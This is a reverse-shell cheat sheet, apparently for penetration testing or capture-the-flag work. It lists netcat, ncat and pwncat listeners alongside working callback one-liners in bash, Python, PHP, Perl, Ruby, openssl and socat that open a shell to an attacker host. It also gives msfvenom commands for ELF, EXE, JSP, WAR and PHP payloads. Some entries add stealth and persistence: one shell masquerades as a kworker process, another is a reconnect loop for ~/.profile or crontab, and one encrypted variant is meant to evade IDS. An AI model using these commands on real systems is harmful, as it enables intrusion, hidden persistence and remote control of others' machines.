Reverse Shells

Sections Reverse Shells

Listener first, then the callback. Set attacker IP and port once:

LHOST=10.10.14.1
LPORT=4444

i. Pick a listener

Plain netcat, no frills:

nc -lvnp "$LPORT"

ncat, supports SSL and multiple clients:

ncat -lvnp "$LPORT"
ncat -lvnp "$LPORT" --ssl                    ## TLS listener for openssl/curl callbacks
ncat -lvnp "$LPORT" --keep-open              ## accept multiple connections

pwncat-cs, stable PTY + upload/download out of the box, skip the stty dance:

pwncat-cs -lp "$LPORT"
## If it hangs at "registered new host", Ctrl-C then type 'back'

ii. Bash one-liners

The /dev/tcp trick, most common:

bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1

When the current shell is not bash:

bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'

Backgrounded, survives a tty close, hidden as kworker:

bash -c '(exec -a "[kworker/0:1]" bash -i >& /dev/tcp/10.10.14.1/4444 0>&1 &)'

Persistent reconnect, drop in ~/.profile or crontab, single instance:

fuser /dev/shm/.busy &>/dev/null || (bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/10.10.14.1/4444 0>&1; sleep 360; done' &>/dev/null &)

iii. When /dev/tcp is not available

Embedded boxes and busybox builds often have no /dev/tcp. Fall back to mkfifo or a real interpreter.

mkfifo + sh + nc, classic:

rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc "$LHOST" "$LPORT" >/tmp/f

nc with -e, only if compiled in:

nc -e /bin/sh "$LHOST" "$LPORT"

nc without -e on modern shells:

{ nc "$LHOST" "$LPORT" </dev/fd/2 | sh; } 2>&1 | :

Python:

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.1",4444));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'

PHP, Perl, Ruby, one each:

php -r '$s=fsockopen("10.10.14.1",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.10.14.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.1",4444).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

iv. Encrypted reverse shells

When the network drops cleartext or you want to dodge IDS.

openssl on both ends:

## Attacker
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes -subj "/CN=x"
openssl s_server -port 4444 -cert cert.pem -key key.pem
## Target
({ openssl s_client -connect 10.10.14.1:4444 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&-; } 3>&1 | : &)

socat, fully interactive in one shot:

## Attacker
socat file:$(tty),raw,echo=0 tcp-listen:4444
## Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.1:4444
Generate any payload fast

revshells.com covers every language and quoting style. Use it for awkward shells like SSTI payloads, single-quote-only contexts, and Windows.

v. msfvenom payloads

Drop a file when one-liners fail (web upload, SUID binary swap, scheduled task):

## Linux ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f elf -o sh.elf
## Windows EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f exe -o sh.exe
## JSP for Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f raw -o sh.jsp
## WAR for Tomcat manager upload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f war -o sh.war
## PHP webshell
msfvenom -p php/reverse_php LHOST=10.10.14.1 LPORT=4444 -f raw -o sh.php

vi. Upgrade a dumb shell

Step by step, the full upgrade dance:

## On target
python3 -c 'import pty;pty.spawn("/bin/bash")'
## Press Ctrl-Z to background
## On attacker
stty raw -echo; fg
## Back on target
export TERM=xterm-256color
export SHELL=/bin/bash
stty rows 50 columns 200

One-line PTY only, no full interactive:

script -qc /bin/bash /dev/null         ## Linux
script -q /dev/null /bin/bash          ## BSD

Auto-size the terminal correctly, no guessing rows/cols:

stty -echo; printf "\033[18t"; read -rdt R; stty sane $(echo "${R:-8;80;25}" | awk -F";" '{ printf "rows "$3" cols "$2 }')
Quoting through web fields

Single-quoted payloads break when the field already wraps in single quotes. Base64-wrap to survive any transport: echo -n 'bash -i ...' | base64, then on target echo BASE64 | base64 -d | bash.